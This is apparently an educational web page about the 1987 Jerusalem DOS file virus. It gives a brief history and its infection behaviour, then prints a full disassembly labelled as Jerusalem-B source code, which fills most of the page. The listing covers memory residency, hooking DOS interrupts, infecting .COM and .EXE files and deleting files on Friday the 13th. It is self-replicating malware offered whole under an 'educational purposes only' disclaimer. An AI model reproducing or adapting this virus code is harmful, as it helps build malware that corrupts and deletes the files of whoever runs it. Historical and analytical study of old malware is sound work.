jerusalem virus
The Jerusalem Virus
Jerusalem is a DOS file virus first detected in Jerusalem, Israel, in October 1987.Jerusalem is a file infecting virus, which is the most popular among the file infecting viruses. Another fact which proves its popularity is the fact that has the largest no of variants among the viruses of its kind. Though one of the primitive viruses, Jerusalem family does not have a proper definition because of its large no of variants. Jerusalem was initially very common (for a virus of the day) and spawned a large number of variants. However, since the advent of Windows, these DOS interrupts are no longer used, so Jerusalem and its variants have become obsolete.
Infection techniques
On infection, the Jerusalem virus becomes memory resident (using 2kb of memory), and then infects every executable file run, except for COMMAND.COM. .COM files grow by 1,813 bytes when infected by Jerusalem and are not re-infected. .EXE files grow by 1,808 to 1,823 bytes each time they are infected. The virus re-infects .EXE files each time the files are loaded until they are too large to load into memory. Some .EXE files are infected but do not grow because several overlays follow the genuine .EXE file in the same file. Sometimes .EXE files are incorrectly infected, causing the program to fail to run as soon as it is executed.
Nature of Damage:
It affects system run-time operation and corrupts program files (generally .EXE &.COM).
Given below is the source code for Jerusalem-B virus. PLEASE DON’T MISUSE THIS CODE, DISTRIBUTED FOR EDUCATIONAL PURPOSES ONLY.
0000:0000 E99200 JMP X0095
0000:0003 7355 JAE X005A
0000:0005 4D DEC BP
0000:0006 7344 JAE X004C
0000:0008 6F73 JG X007D
0000:000A 0001 ADD [BX+DI],AL
0000:000C BD1700 MOV BP,0017H
0000:000F 0000 ADD [BX+SI],AL
0000:0011 06 PUSH ES
0000:0012 00A5FE00 ADD [DI+Y00FEH],AH
0000:0016 F016 LOCK PUSH SS
0000:0018 17 POP SS
0000:0019 7702 JA X001D
0000:001B BF053D MOV DI,03D05H
0000:001E 0CFB OR AL,0FBH
0000:0020 7D00 JGE X0022
0000:0022 0000 X0022: ADD [BX+SI],AL
0000:0024 0000 ADD [BX+SI],AL
0000:0026 0000 ADD [BX+SI],AL
0000:0028 0000 ADD [BX+SI],AL
0000:002A 0000 ADD [BX+SI],AL
0000:002C 0000 ADD [BX+SI],AL
0000:002E E8062A CALL X2A37
0000:0031 B10D MOV CL,0DH
0000:0033 800000 ADD BYTE PTR [BX+SI],00H
0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL
0000:003A 0D5C00 OR AX,005CH
0000:003D B10D MOV CL,0DH
0000:003F 6C00 JL X0041
0000:0041 B10D X0041: MOV CL,0DH
0000:0043 0004 ADD [SI],AL
0000:0045 5F POP DI
0000:0046 0F POP CS
0000:0047 B400 MOV AH,00H
0000:0049 C1 RET ; INTRASEGMENT
0000:004A 0D00F0 X004A: OR AX,0F000H
0000:004D 06 PUSH ES
0000:004E 004D5A ADD [DI+05AH],CL
0000:0051 2000 AND [BX+SI],AL
0000:0053 1000 ADC [BX+SI],AL
0000:0055 1900 SBB [BX+SI],AX
0000:0057 0800 OR [BX+SI],AL
0000:0059 7500 JNZ X005B
0000:005B 7500 X005B: JNZ X005D
0000:005D 6901 X005D: JNS X0060
0000:005F 1007 ADC [BX],AL
0000:0061 8419 TEST BL,[BX+DI]
0000:0063 C500 LDS AX,[BX+SI]
0000:0065 6901 JNS X0068
0000:0067 1C00 SBB AL,00H
0000:0069 0000 ADD [BX+SI],AL
0000:006B 4C X006B: DEC SP
0000:006C B000 MOV AL,00H
0000:006E CD21 INT 021H
0000:0070 050020 ADD AX,02000H
0000:0073 0037 ADD [BX],DH
0000:0075 121C ADC BL,[SI]
0000:0077 0100 ADD [BX+SI],AX
0000:0079 0210 ADD DL,[BX+SI]
0000:007B 0010 ADD [BX+SI],DL
0000:007D 17 X007D: POP SS
0000:007E 0000 ADD [BX+SI],AL
0000:0080 53 PUSH BX
0000:0081 61E8 JNO X006B
0000:0083 38434F CMP [BP+DI+04FH],AL
0000:0086 4D DEC BP
0000:0087 4D DEC BP
0000:0088 41 INC CX
0000:0089 4E DEC SI
0000:008A 44 INC SP
0000:008B 2E43 INC BX
0000:008D 4F DEC DI
0000:008E 4D DEC BP
0000:008F 0100 ADD [BX+SI],AX
0000:0091 0000 ADD [BX+SI],AL
0000:0093 0000 ADD [BX+SI],AL
0000:0095 FC X0095: CLD
0000:0096 B4E0 MOV AH,0E0H
0000:0098 CD21 INT 021H
0000:009A 80FCE0 CMP AH,0E0H
0000:009D 7316 JAE X00B5
0000:009F 80FC03 CMP AH,03H
0000:00A2 7211 JB X00B5
0000:00A4 B4DD MOV AH,0DDH
0000:00A6 BF0001 MOV DI,0100H
0000:00A9 BE1007 MOV SI,0710H
0000:00AC 03F7 ADD SI,DI
0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H]
0000:00B3 CD21 INT 021H
0000:00B5 8CC8 X00B5: MOV AX,CS
0000:00B7 051000 ADD AX,0010H
0000:00BA 8ED0 MOV SS,AX
0000:00BC BC0007 MOV SP,0700H
0000:00BF 50 PUSH AX
0000:00C0 B8C500 MOV AX,00C5H
0000:00C3 50 PUSH AX
0000:00C4 CB RET ; INTERSEGMENT
0000:00C5 FC X00C5: CLD
0000:00C6 06 PUSH ES
0000:00C7 2E8C063100 MOV CS:[Y0031H],ES
0000:00CC 2E8C063900 MOV CS:[Y0039H],ES
0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES
0000:00D6 2E8C064100 MOV CS:[Y0041H],ES
0000:00DB 8CC0 MOV AX,ES
0000:00DD 051000 ADD AX,0010H
0000:00E0 2E01064900 ADD CS:[Y0049H],AX
0000:00E5 2E01064500 ADD CS:[Y0045H],AX
0000:00EA B4E0 MOV AH,0E0H
0000:00EC CD21 INT 021H
0000:00EE 80FCE0 CMP AH,0E0H
0000:00F1 7313 JAE X0106
0000:00F3 80FC03 CMP AH,03H
0000:00F6 07 POP ES
0000:00F7 2E8E164500 MOV SS,CS:[Y0045H]
0000:00FC 2E8B264300 MOV SP,CS:[Y0043H]
0000:0101 2EFF2E4700 JMP CS:[Y0047H]
0000:0106 33C0 X0106: XOR AX,AX
0000:0108 8EC0 MOV ES,AX
0000:010A 26A1FC03 MOV AX,ES:Y03FCH
0000:010E 2EA34B00 MOV CS:Y004BH,AX
0000:0112 26A0FE03 MOV AL,ES:Y03FEH
0000:0116 2EA24D00 MOV CS:Y004DH,AL
0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H
0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH
0000:0127 58 POP AX
0000:0128 051000 ADD AX,0010H
0000:012B 8EC0 MOV ES,AX
0000:012D 0E PUSH CS
0000:012E 1F POP DS
0000:012F B91007 MOV CX,0710H
0000:0132 D1E9 SHR CX,1
0000:0134 33F6 XOR SI,SI
0000:0136 8BFE MOV DI,SI
0000:0138 06 PUSH ES
0000:0139 B84201 MOV AX,0142H
0000:013C 50 PUSH AX
0000:013D EAFC030000 JMP X0000_03FC
0000:0142 8CC8 MOV AX,CS
0000:0144 8ED0 MOV SS,AX
0000:0146 BC0007 MOV SP,0700H
0000:0149 33C0 XOR AX,AX
0000:014B 8ED8 MOV DS,AX
0000:014D 2EA14B00 MOV AX,CS:Y004BH
0000:0151 A3FC03 MOV Y03FCH,AX
0000:0154 2EA04D00 MOV AL,CS:Y004DH
0000:0158 A2FE03 MOV Y03FEH,AL
0000:015B 8BDC MOV BX,SP
0000:015D B104 MOV CL,04H
0000:015F D3EB SHR BX,CL
0000:0161 83C310 ADD BX,0010H
0000:0164 2E891E3300 MOV CS:[Y0033H],BX
0000:0169 B44A MOV AH,04AH
0000:016B 2E8E063100 MOV ES,CS:[Y0031H]
0000:0170 CD21 INT 021H
0000:0172 B82135 MOV AX,03521H
0000:0175 CD21 INT 021H
0000:0177 2E891E1700 MOV CS:[Y0017H],BX
0000:017C 2E8C061900 MOV CS:[Y0019H],ES
0000:0181 0E PUSH CS
0000:0182 1F POP DS
0000:0183 BA5B02 MOV DX,025BH
0000:0186 B82125 MOV AX,02521H
0000:0189 CD21 INT 021H
0000:018B 8E063100 MOV ES,[Y0031H]
0000:018F 268E062C00 MOV ES,ES:[Y002CH]
0000:0194 33FF XOR DI,DI
0000:0196 B9FF7F MOV CX,07FFFH
0000:0199 32C0 XOR AL,AL
0000:019B F2AE X019B: REPNE SCASB
0000:019D 263805 CMP ES:[DI],AL
0000:01A0 E0F9 LOOPNZ X019B
0000:01A2 8BD7 MOV DX,DI
0000:01A4 83C203 ADD DX,0003H
0000:01A7 B8004B MOV AX,04B00H
0000:01AA 06 PUSH ES
0000:01AB 1F POP DS
0000:01AC 0E PUSH CS
0000:01AD 07 POP ES
0000:01AE BB3500 MOV BX,0035H
0000:01B1 1E PUSH DS
0000:01B2 06 PUSH ES
0000:01B3 50 PUSH AX
0000:01B4 53 PUSH BX
0000:01B5 51 PUSH CX
0000:01B6 52 PUSH DX
0000:01B7 B42A MOV AH,02AH
0000:01B9 CD21 INT 021H
0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H
0000:01C1 81F9C307 CMP CX,07C3H
0000:01C5 7430 JZ X01F7
0000:01C7 3C05 CMP AL,05H
0000:01C9 750D JNZ X01D8
0000:01CB 80FA0D CMP DL,0DH
0000:01CE 7508 JNZ X01D8
0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH]
0000:01D5 EB20 JMP X01F7
0000:01D7 90 NOP
0000:01D8 B80835 X01D8: MOV AX,03508H
0000:01DB CD21 INT 021H
0000:01DD 2E891E1300 MOV CS:[Y0013H],BX
0000:01E2 2E8C061500 MOV CS:[Y0015H],ES
0000:01E7 0E PUSH CS
0000:01E8 1F POP DS
0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H
0000:01EF B80825 MOV AX,02508H
0000:01F2 BA1E02 MOV DX,021EH
0000:01F5 CD21 INT 021H
0000:01F7 5A X01F7: POP DX
0000:01F8 59 POP CX
0000:01F9 5B POP BX
0000:01FA 58 POP AX
0000:01FB 07 POP ES
0000:01FC 1F POP DS
0000:01FD 9C PUSHF
0000:01FE 2EFF1E1700 CALL CS:[Y0017H]
0000:0203 1E PUSH DS
0000:0204 07 POP ES
0000:0205 B449 MOV AH,049H
0000:0207 CD21 INT 021H
0000:0209 B44D MOV AH,04DH
0000:020B CD21 INT 021H
0000:020D B431 MOV AH,031H
0000:020F BA0006 MOV DX,0600H
0000:0212 B104 MOV CL,04H
0000:0214 D3EA SHR DX,CL
0000:0216 83C210 ADD DX,0010H
0000:0219 CD21 INT 021H
0000:021B 32C0 XOR AL,AL
0000:021D CF IRET
0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H
0000:0224 7517 JNZ X023D
0000:0226 50 PUSH AX
0000:0227 53 PUSH BX
0000:0228 51 PUSH CX
0000:0229 52 PUSH DX
0000:022A 55 PUSH BP
0000:022B B80206 MOV AX,0602H
0000:022E B787 MOV BH,087H
0000:0230 B90505 MOV CX,0505H
0000:0233 BA1010 MOV DX,01010H
0000:0236 CD10 INT 010H
0000:0238 5D POP BP
0000:0239 5A POP DX
0000:023A 59 POP CX
0000:023B 5B POP BX
0000:023C 58 POP AX
0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH]
0000:0242 7512 JNZ X0256
0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H
0000:024B 50 PUSH AX
0000:024C 51 PUSH CX
0000:024D 56 PUSH SI
0000:024E B90140 MOV CX,04001H
0000:0251 F3AC REPE LODSB
0000:0253 5E POP SI
0000:0254 59 POP CX
0000:0255 58 POP AX
0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H]
0000:025B 9C X025B: PUSHF
0000:025C 80FCE0 CMP AH,0E0H
0000:025F 7505 JNZ X0266
0000:0261 B80003 MOV AX,0300H
0000:0264 9D POPF
0000:0265 CF IRET
0000:0266 80FCDD X0266: CMP AH,0DDH
0000:0269 7413 JZ X027E
0000:026B 80FCDE CMP AH,0DEH
0000:026E 7428 JZ X0298
0000:0270 3D004B CMP AX,04B00H
0000:0273 7503 JNZ X0278
0000:0275 E9B400 JMP X032C
0000:0278 9D X0278: POPF
0000:0279 2EFF2E1700 JMP CS:[Y0017H]
0000:027E 58 X027E: POP AX
0000:027F 58 POP AX
0000:0280 B80001 MOV AX,0100H
0000:0283 2EA30A00 MOV CS:Y000AH,AX
0000:0287 58 POP AX
0000:0288 2EA30C00 MOV CS:Y000CH,AX
0000:028C F3A4 REPE MOVSB
0000:028E 9D POPF
0000:028F 2EA10F00 MOV AX,CS:Y000FH
0000:0293 2EFF2E0A00 JMP CS:[Y000AH]
0000:0298 83C406 X0298: ADD SP,0006H
0000:029B 9D POPF
0000:029C 8CC8 MOV AX,CS
0000:029E 8ED0 MOV SS,AX
0000:02A0 BC1007 MOV SP,0710H
0000:02A3 06 PUSH ES
0000:02A4 06 PUSH ES
0000:02A5 33FF XOR DI,DI
0000:02A7 0E PUSH CS
0000:02A8 07 POP ES
0000:02A9 B91000 MOV CX,0010H
0000:02AC 8BF3 MOV SI,BX
0000:02AE BF2100 MOV DI,0021H
0000:02B1 F3A4 REPE MOVSB
0000:02B3 8CD8 MOV AX,DS
0000:02B5 8EC0 MOV ES,AX
0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH]
0000:02BC 2E03062B00 ADD AX,CS:[Y002BH]
0000:02C1 83D200 ADC DX,0000H
0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH]
0000:02C9 8ED8 MOV DS,AX
0000:02CB 8BF2 MOV SI,DX
0000:02CD 8BFA MOV DI,DX
0000:02CF 8CC5 MOV BP,ES
0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH]
0000:02D6 0BDB OR BX,BX
0000:02D8 7413 JZ X02ED
0000:02DA B90080 X02DA: MOV CX,08000H
0000:02DD F3A5 REPE MOVSW
0000:02DF 050010 ADD AX,01000H
0000:02E2 81C50010 ADD BP,01000H
0000:02E6 8ED8 MOV DS,AX
0000:02E8 8EC5 MOV ES,BP
0000:02EA 4B DEC BX
0000:02EB 75ED JNZ X02DA
0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH]
0000:02F2 F3A4 REPE MOVSB
0000:02F4 58 POP AX
0000:02F5 50 PUSH AX
0000:02F6 051000 ADD AX,0010H
0000:02F9 2E01062900 ADD CS:[Y0029H],AX
0000:02FE 2E01062500 ADD CS:[Y0025H],AX
0000:0303 2EA12100 MOV AX,CS:Y0021H
0000:0307 1F POP DS
0000:0308 07 POP ES
0000:0309 2E8E162900 MOV SS,CS:[Y0029H]
0000:030E 2E8B262700 MOV SP,CS:[Y0027H]
0000:0313 2EFF2E2300 JMP CS:[Y0023H]
0000:0318 33C9 X0318: XOR CX,CX
0000:031A B80143 MOV AX,04301H
0000:031D CD21 INT 021H
0000:031F B441 MOV AH,041H
0000:0321 CD21 INT 021H
0000:0323 B8004B MOV AX,04B00H
0000:0326 9D POPF
0000:0327 2EFF2E1700 JMP CS:[Y0017H]
0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H
0000:0332 74E4 JZ X0318
0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H
0000:0342 2E89168000 MOV CS:[Y0080H],DX
0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS
0000:034C 50 PUSH AX
0000:034D 53 PUSH BX
0000:034E 51 PUSH CX
0000:034F 52 PUSH DX
0000:0350 56 PUSH SI
0000:0351 57 PUSH DI
0000:0352 1E PUSH DS
0000:0353 06 PUSH ES
0000:0354 FC CLD
0000:0355 8BFA MOV DI,DX
0000:0357 32D2 XOR DL,DL
0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH
0000:035D 7505 JNZ X0364
0000:035F 8A15 MOV DL,[DI]
0000:0361 80E21F AND DL,01FH
0000:0364 B436 X0364: MOV AH,036H
0000:0366 CD21 INT 021H
0000:0368 3DFFFF CMP AX,0FFFFH
0000:036B 7503 JNZ X0370
0000:036D E97702 X036D: JMP X05E7
0000:0370 F7E3 X0370: MUL BX
0000:0372 F7E1 MUL CX
0000:0374 0BD2 OR DX,DX
0000:0376 7505 JNZ X037D
0000:0378 3D1007 CMP AX,0710H
0000:037B 72F0 JB X036D
0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H]
0000:0382 1E PUSH DS
0000:0383 07 POP ES
0000:0384 32C0 XOR AL,AL
0000:0386 B94100 MOV CX,0041H
0000:0389 F2AE REPNE SCASB
0000:038B 2E8B368000 MOV SI,CS:[Y0080H]
0000:0390 8A04 X0390: MOV AL,[SI]
0000:0392 0AC0 OR AL,AL
0000:0394 740E JZ X03A4
0000:0396 3C61 CMP AL,061H
0000:0398 7207 JB X03A1
0000:039A 3C7A CMP AL,07AH
0000:039C 7703 JA X03A1
0000:039E 802C20 SUB BYTE PTR [SI],020H
0000:03A1 46 X03A1: INC SI
0000:03A2 EBEC JMP X0390
0000:03A4 B90B00 X03A4: MOV CX,000BH
0000:03A7 2BF1 SUB SI,CX
0000:03A9 BF8400 MOV DI,0084H
0000:03AC 0E PUSH CS
0000:03AD 07 POP ES
0000:03AE B90B00 MOV CX,000BH
0000:03B1 F3A6 REPE CMPSB
0000:03B3 7503 JNZ X03B8
0000:03B5 E92F02 JMP X05E7
0000:03B8 B80043 X03B8: MOV AX,04300H
0000:03BB CD21 INT 021H
0000:03BD 7205 JB X03C4
0000:03BF 2E890E7200 MOV CS:[Y0072H],CX
0000:03C4 7225 X03C4: JB X03EB
0000:03C6 32C0 XOR AL,AL
0000:03C8 2EA24E00 MOV CS:Y004EH,AL
0000:03CC 1E PUSH DS
0000:03CD 07 POP ES
0000:03CE 8BFA MOV DI,DX
0000:03D0 B94100 MOV CX,0041H
0000:03D3 F2AE REPNE SCASB
0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH
0000:03D9 740B JZ X03E6
0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH
0000:03DF 7405 JZ X03E6
0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH]
0000:03E6 B8003D X03E6: MOV AX,03D00H
0000:03E9 CD21 INT 021H
0000:03EB 725A X03EB: JB X0447
0000:03ED 2EA37000 MOV CS:Y0070H,AX
0000:03F1 8BD8 MOV BX,AX
0000:03F3 B80242 MOV AX,04202H
0000:03F6 B9FFFF MOV CX,0FFFFH
0000:03F9 BAFBFF MOV DX,0FFFBH
0000:03FC CD21 X03FC: INT 021H
0000:03FE 72EB JB X03EB
0000:0400 050500 ADD AX,0005H
0000:0403 2EA31100 MOV CS:Y0011H,AX
0000:0407 B90500 MOV CX,0005H
0000:040A BA6B00 MOV DX,006BH
0000:040D 8CC8 MOV AX,CS
0000:040F 8ED8 MOV DS,AX
0000:0411 8EC0 MOV ES,AX
0000:0413 B43F MOV AH,03FH
0000:0415 CD21 INT 021H
0000:0417 8BFA MOV DI,DX
0000:0419 BE0500 MOV SI,0005H
0000:041C F3A6 REPE CMPSB
0000:041E 7507 JNZ X0427
0000:0420 B43E MOV AH,03EH
0000:0422 CD21 INT 021H
0000:0424 E9C001 JMP X05E7
0000:0427 B82435 X0427: MOV AX,03524H
0000:042A CD21 INT 021H
0000:042C 891E1B00 MOV [Y001BH],BX
0000:0430 8C061D00 MOV [Y001DH],ES
0000:0434 BA1B02 MOV DX,021BH
0000:0437 B82425 MOV AX,02524H
0000:043A CD21 INT 021H
0000:043C C5168000 LDS DX,[Y0080H]
0000:0440 33C9 XOR CX,CX
0000:0442 B80143 MOV AX,04301H
0000:0445 CD21 INT 021H
0000:0447 723B X0447: JB X0484
0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:044E B43E MOV AH,03EH
0000:0450 CD21 INT 021H
0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:0459 B8023D MOV AX,03D02H
0000:045C CD21 INT 021H
0000:045E 7224 JB X0484
0000:0460 2EA37000 MOV CS:Y0070H,AX
0000:0464 8CC8 MOV AX,CS
0000:0466 8ED8 MOV DS,AX
0000:0468 8EC0 MOV ES,AX
0000:046A 8B1E7000 MOV BX,[Y0070H]
0000:046E B80057 MOV AX,05700H
0000:0471 CD21 INT 021H
0000:0473 89167400 MOV [Y0074H],DX
0000:0477 890E7600 MOV [Y0076H],CX
0000:047B B80042 MOV AX,04200H
0000:047E 33C9 XOR CX,CX
0000:0480 8BD1 MOV DX,CX
0000:0482 CD21 INT 021H
0000:0484 723D X0484: JB X04C3
0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H
0000:048B 7403 JZ X0490
0000:048D EB57 JMP X04E6
0000:048F 90 NOP
0000:0490 BB0010 X0490: MOV BX,01000H
0000:0493 B448 MOV AH,048H
0000:0495 CD21 INT 021H
0000:0497 730B JAE X04A4
0000:0499 B43E MOV AH,03EH
0000:049B 8B1E7000 MOV BX,[Y0070H]
0000:049F CD21 INT 021H
0000:04A1 E94301 JMP X05E7
0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH]
0000:04A8 8EC0 MOV ES,AX
0000:04AA 33F6 XOR SI,SI
0000:04AC 8BFE MOV DI,SI
0000:04AE B91007 MOV CX,0710H
0000:04B1 F3A4 REPE MOVSB
0000:04B3 8BD7 MOV DX,DI
0000:04B5 8B0E1100 MOV CX,[Y0011H]
0000:04B9 8B1E7000 MOV BX,[Y0070H]
0000:04BD 06 PUSH ES
0000:04BE 1F POP DS
0000:04BF B43F MOV AH,03FH
0000:04C1 CD21 INT 021H
0000:04C3 721C X04C3: JB X04E1
0000:04C5 03F9 ADD DI,CX
0000:04C7 33C9 XOR CX,CX
0000:04C9 8BD1 MOV DX,CX
0000:04CB B80042 MOV AX,04200H
0000:04CE CD21 INT 021H
0000:04D0 BE0500 MOV SI,0005H
0000:04D3 B90500 MOV CX,0005H
0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT
R (SI)
0000:04D9 8BCF MOV CX,DI
0000:04DB 33D2 XOR DX,DX
0000:04DD B440 MOV AH,040H
0000:04DF CD21 INT 021H
0000:04E1 720D X04E1: JB X04F0
0000:04E3 E9BC00 JMP X05A2
0000:04E6 B91C00 X04E6: MOV CX,001CH
0000:04E9 BA4F00 MOV DX,004FH
0000:04EC B43F MOV AH,03FH
0000:04EE CD21 INT 021H
0000:04F0 724A X04F0: JB X053C
0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H
0000:04F8 A15D00 MOV AX,Y005DH
0000:04FB A34500 MOV Y0045H,AX
0000:04FE A15F00 MOV AX,Y005FH
0000:0501 A34300 MOV Y0043H,AX
0000:0504 A16300 MOV AX,Y0063H
0000:0507 A34700 MOV Y0047H,AX
0000:050A A16500 MOV AX,Y0065H
0000:050D A34900 MOV Y0049H,AX
0000:0510 A15300 MOV AX,Y0053H
0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H
0000:0518 7401 JZ X051B
0000:051A 48 DEC AX
0000:051B F7267800 X051B: MUL WORD PTR [Y0078H]
0000:051F 03065100 ADD AX,[Y0051H]
0000:0523 83D200 ADC DX,0000H
0000:0526 050F00 ADD AX,000FH
0000:0529 83D200 ADC DX,0000H
0000:052C 25F0FF AND AX,0FFF0H
0000:052F A37C00 MOV Y007CH,AX
0000:0532 89167E00 MOV [Y007EH],DX
0000:0536 051007 ADD AX,0710H
0000:0539 83D200 ADC DX,0000H
0000:053C 723A X053C: JB X0578
0000:053E F7367800 DIV WORD PTR [Y0078H]
0000:0542 0BD2 OR DX,DX
0000:0544 7401 JZ X0547
0000:0546 40 INC AX
0000:0547 A35300 X0547: MOV Y0053H,AX
0000:054A 89165100 MOV [Y0051H],DX
0000:054E A17C00 MOV AX,Y007CH
0000:0551 8B167E00 MOV DX,[Y007EH]
0000:0555 F7367A00 DIV WORD PTR [Y007AH]
0000:0559 2B065700 SUB AX,[Y0057H]
0000:055D A36500 MOV Y0065H,AX
0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H
0000:0566 A35D00 MOV Y005DH,AX
0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H
0000:056F 33C9 XOR CX,CX
0000:0571 8BD1 MOV DX,CX
0000:0573 B80042 MOV AX,04200H
0000:0576 CD21 INT 021H
0000:0578 720A X0578: JB X0584
0000:057A B91C00 MOV CX,001CH
0000:057D BA4F00 MOV DX,004FH
0000:0580 B440 MOV AH,040H
0000:0582 CD21 INT 021H
0000:0584 7211 X0584: JB X0597
0000:0586 3BC1 CMP AX,CX
0000:0588 7518 JNZ X05A2
0000:058A 8B167C00 MOV DX,[Y007CH]
0000:058E 8B0E7E00 MOV CX,[Y007EH]
0000:0592 B80042 MOV AX,04200H
0000:0595 CD21 INT 021H
0000:0597 7209 X0597: JB X05A2
0000:0599 33D2 XOR DX,DX
0000:059B B91007 MOV CX,0710H
0000:059E B440 MOV AH,040H
0000:05A0 CD21 INT 021H
0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H
0000:05A8 7404 JZ X05AE
0000:05AA B449 MOV AH,049H
0000:05AC CD21 INT 021H
0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH
0000:05B4 7431 JZ X05E7
0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:05BB 2E8B167400 MOV DX,CS:[Y0074H]
0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H]
0000:05C5 B80157 MOV AX,05701H
0000:05C8 CD21 INT 021H
0000:05CA B43E MOV AH,03EH
0000:05CC CD21 INT 021H
0000:05CE 2EC5168000 LDS DX,CS:[Y0080H]
0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H]
0000:05D8 B80143 MOV AX,04301H
0000:05DB CD21 INT 021H
0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH]
0000:05E2 B82425 MOV AX,02524H
0000:05E5 CD21 INT 021H
0000:05E7 07 X05E7: POP ES
0000:05E8 1F POP DS
0000:05E9 5F POP DI
0000:05EA 5E POP SI
0000:05EB 5A POP DX
0000:05EC 59 POP CX
0000:05ED 5B POP BX
0000:05EE 58 POP AX
0000:05EF 9D POPF
0000:05F0 2EFF2E1700 JMP CS:[Y0017H]
0000:05F5 0000 X05F5: ADD [BX+SI],AL
0000:05F7 0000 ADD [BX+SI],AL
0000:05F9 0000 ADD [BX+SI],AL
0000:05FB 0000 ADD [BX+SI],AL
0000:05FD 0000 ADD [BX+SI],AL
0000:05FF 004D00 ADD [DI+00H],CL
0000:0602 000F ADD [BX],CL
0000:0604 0000 ADD [BX+SI],AL
0000:0606 0000 ADD [BX+SI],AL
0000:0608 0000 ADD [BX+SI],AL
0000:060A 0000 ADD [BX+SI],AL
0000:060C 0000 ADD [BX+SI],AL
0000:060E 0000 ADD [BX+SI],AL
0000:0610 CD20 INT 020H
0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH
0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID
0000:0619 F02F LOCK DAS
0000:061B 018E1E3C ADD [BP+Y03C1EH],CX
0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX
0000:0623 048E ADD AL,08EH
0000:0625 1E PUSH DS
0000:0626 8E1EFFFF MOV DS,[Y0FFFFH]
0000:062A FFFF ??? DI
0000:062C FFFF ??? DI
0000:062E FFFF ??? DI
0000:0630 FFFF ??? DI
0000:0632 FFFF ??? DI
0000:0634 FFFF ??? DI
0000:0636 FFFF ??? DI
0000:0638 FFFF ??? DI
0000:063A FFFF ??? DI
0000:063C 7C1F JL X065D
0000:063E DE3E8D29 ESC 037H,[Y0298DH]
0000:0642 1400 ADC AL,00H
0000:0644 1800 SBB [BX+SI],AL
0000:0646 F1 DB 0F1H
0000:0647 1F POP DS
0000:0648 FFFF ??? DI
0000:064A FFFF ??? DI
0000:064C 0000 ADD [BX+SI],AL
0000:064E 0000 ADD [BX+SI],AL
0000:0650 0000 ADD [BX+SI],AL
0000:0652 0000 ADD [BX+SI],AL
0000:0654 0000 ADD [BX+SI],AL
0000:0656 0000 ADD [BX+SI],AL
0000:0658 0000 ADD [BX+SI],AL
0000:065A 0000 ADD [BX+SI],AL
0000:065C 0000 ADD [BX+SI],AL
0000:065E 0000 ADD [BX+SI],AL
0000:0660 CD21 INT 021H
0000:0662 CB RET ; INTERSEGMENT
0000:0663 0000 X0663: ADD [BX+SI],AL
0000:0665 0000 ADD [BX+SI],AL
0000:0667 0000 ADD [BX+SI],AL
0000:0669 0000 ADD [BX+SI],AL
0000:066B 0000 ADD [BX+SI],AL
0000:066D 2020 AND [BX+SI],AH
0000:066F 2020 AND [BX+SI],AH
0000:0671 2020 AND [BX+SI],AH
0000:0673 2020 AND [BX+SI],AH
0000:0675 2020 AND [BX+SI],AH
0000:0677 2000 AND [BX+SI],AL
0000:0679 0000 ADD [BX+SI],AL
0000:067B 0000 ADD [BX+SI],AL
0000:067D 2020 AND [BX+SI],AH
0000:067F 2020 AND [BX+SI],AH
0000:0681 2020 AND [BX+SI],AH
0000:0683 2020 AND [BX+SI],AH
0000:0685 2020 AND [BX+SI],AH
0000:0687 2000 AND [BX+SI],AL
0000:0689 0000 ADD [BX+SI],AL
0000:068B 0000 ADD [BX+SI],AL
0000:068D 0000 ADD [BX+SI],AL
0000:068F 0000 ADD [BX+SI],AL
0000:0691 0D6B6F OR AX,06F6BH
0000:0694 6465 JZ X06FB
0000:0696 6572 JNZ X070A
0000:0698 7A2E JPE X06C8
0000:069A 6578 JNZ X0714
0000:069C 6520 JNZ X06BE
0000:069E 613A JNO X06DA
0000:06A0 6B6F JPO X0711
0000:06A2 6465 JZ X0709
0000:06A4 6572 JNZ X0718
0000:06A6 2E6578 JNZ X0721
0000:06A9 650D JNZ X06B8
0000:06AB 0000 ADD [BX+SI],AL
0000:06AD 0000 ADD [BX+SI],AL
